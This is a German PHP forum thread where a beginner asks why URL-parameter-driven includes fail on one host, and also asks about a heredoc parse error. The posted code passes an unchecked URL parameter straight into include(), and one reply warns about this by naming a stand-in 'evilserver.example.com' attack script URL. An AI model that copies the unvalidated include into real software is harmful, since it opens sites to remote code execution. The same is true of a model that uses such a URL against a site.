mike: Mit URL Parameter übergeben

Hallo zusammen,

ich habe Webhosting bei strato.de gekauft und möchte jetzt eine PHP seite einrichten, welche sich über die aufrufende URL parametrisieren lässt.

hier der code:

  
<html>  
<head>  
</head>  
<body>  
<a href="test.php?action=ja">Ja</a> - <a href="test.php?action=nein">Nein</a> - <a href="test.php?action=vielleicht">Vielleicht</a>  
<br>----------------------------------------------------------------------<br>  

  
 <?  
 if ($action != ""){  
  include($action.".inc.php");  
 }  
?>  

  
</body>  
</html>  

je nach dem wie die url aufgerufen wird soll eine andere include datei eingebunden werden. sodele!
jetzt hab ich mehrere webhosting anbieter, beim einen funktioniert das script und bei strato, funktioniert GENAU DAS GLEICHE script nicht!

an was könnte das liegen?
ich verzweifle sonst echt nocht...

many thanx
mike

  1. Hi,

    if ($action != ""){

    bei den Guten sind die Globals off, verwende also $_GET. Ab und zu mal PHP-Doku zu lesen ist hilfreich...

    Gruesse, Joachim

    --
    Am Ende wird alles gut.
    1. Hi,

      if ($action != ""){
      bei den Guten sind die Globals off, verwende also $_GET. Ab und zu mal PHP-Doku zu lesen ist hilfreich...

      Gruesse, Joachim

      ah ok danke!
      ich hab noch ein problem:

        
      <?  
       $timestamp = time();  
       $datum = date("Y-m-d",$timestamp);  
       $uhrzeit = date("h",$timestamp);  
        
       echo <<<ABC  
         <tr>  
          <td>Datum: (Jahr-Monat-Tag)</td>  
         </tr>  
         <tr>  
          <td><input type="text" name="date" value="$datum" maxlength="10"></td>  
         </tr>  
         <tr>  
          <td>Uhrzeit: (Uhrzeit pm/am)</td>  
         </tr>  
         <tr>  
          <td><input type="text" name="time" value="$uhrzeit" maxlength="4"></td>  
         </tr>  
        ABC;  
       ?>  
      
      

      damit möchte ich 2 textboxen anzeigen die erste mit dem heutigen datum und in die zweite die uhrzeit (einstellig + am/pm)
      so wie der code jetzt ist bekomm ich aber den folgenden fehler:

      Parse error: syntax error, unexpected $end in ....../ja.inc.php on line 23 <- die zeile gibt's gar nicht! ????

      weißt du was das bedeutet?

      1. hi,

        echo <<<ABC
            ...
          ABC;

          
        [Heredoc-Syntax](http://www.php.net/manual/de/language.types.string.php#language.types.string.syntax.heredoc) - Hinweise zum schließenden Bezeichner beachten.  
          
        
        > Parse error: syntax error, unexpected $end in ....../ja.inc.php on line 23 <- die zeile gibt's gar nicht! ????  
        > weißt du was das bedeutet?  
          
        unexpected end heißt das, was es heißt - das Script ist plötzlich und unerwartet zuende, ohne die gültige Syntax einzuhalten.  
          
        gruß,  
        wahsaga  
          
        
        -- 
        /voodoo.css:  
        #GeorgeWBush { position:absolute; bottom:-6ft; }
        
      2. Hallo,

        ich hab noch ein problem:
        <?

        ja, zum Beispiel dass hier die Buchstaben "php" nach dem '?' fehlen. Ja, bei einigen Hostern funktioniert's auch ohne, nämlich wenn sie short_open_tags eingestellt haben. Selbstverständlich ist das aber nicht.

        echo <<<ABC
           [...]
          ABC;
        ?>

        Du möchtest bitte nochmal die Erklärung zur Heredoc-Syntax durchlesen. Dort steht auch ausdrücklich: "The closing identifier /must/ begin in the first column of the line."

        In deinem Fall steht der Ende-Marker eingerückt, wird also nicht als solcher erkannt. Folge: Der String, der mit echo ausgegeben werden soll, geht bis zum Dateieinde und wird soelbst dort nicht ordnungsgemäß beendet.

        Parse error: syntax error, unexpected $end in ....../ja.inc.php on line 23 <- die zeile gibt's gar nicht! ????

        Nein, aber PHP erwartet sie, weil noch etwas fehlt. Die Datei hat 22 Zeilen?

        So long,
         Martin

        --
        Ich bin im Prüfungsstress, ich darf Scheiße sagen.
          (Hopsel)
  2. Moin!

    <?
    if ($action != ""){
      include($action.".inc.php");
    }
    ?>

      
    Stell dir einfach mal vor, jemand übergibt folgenden String in $action:  
    "http://evilserver.example.com/attacksript"  
      
    Und in dem Angriffskript steckt dann böser PHP-Code, der deinen Webspace schädigt. Angenehme Vorstellung? Wohl eher nicht.  
      
    Gehe also unbedingt SEHR SORGFÄLTIG mit den von außen übergebbaren Daten um und prüfe deren Zulässigkeit unbedingt. Wenn nur einer von drei möglichen Werten übergeben werden kann, solltest du den übergebenen Wert gegen die Liste der Möglichkeiten prüfen - falls kein Listeneintrag gefunden wird, wurde manipuliert (ob absichtlich oder unabsichtlich - Tippfehler passieren - sei dahingestellt).  
      
    Dieser Hinweis gilt unabhängig davon, in welcher Variablen der URL-Parameter letztendlich landet, also auch bei $\_GET, $\_POST, $\_COOKIE etc.  
      
     - Sven Rautenberg
    
    -- 
    "Love your nation - respect the others."
    
    1. Hey,

      Gehe also unbedingt SEHR SORGFÄLTIG mit den von außen übergebbaren Daten um und prüfe deren Zulässigkeit unbedingt.

      wie schaltet man Taintmode ein?

      --
      水-金-地-火-木-土-天-海-冥
      1. Hi,

        wie schaltet man Taintmode ein?

        einfach Gehirn abschalten. Ist bei den meisten die Default-Einstellung.

        Cheatah, SCNR ;-)

        --
        X-Self-Code: sh:( fo:} ch:~ rl:° br:> n4:& ie:% mo:) va:) de:] zu:) fl:{ ss:) ls:~ js:|
        X-Self-Code-Url: http://emmanuel.dammerer.at/selfcode.html
        X-Will-Answer-Email: No
        X-Please-Search-Archive-First: Absolutely Yes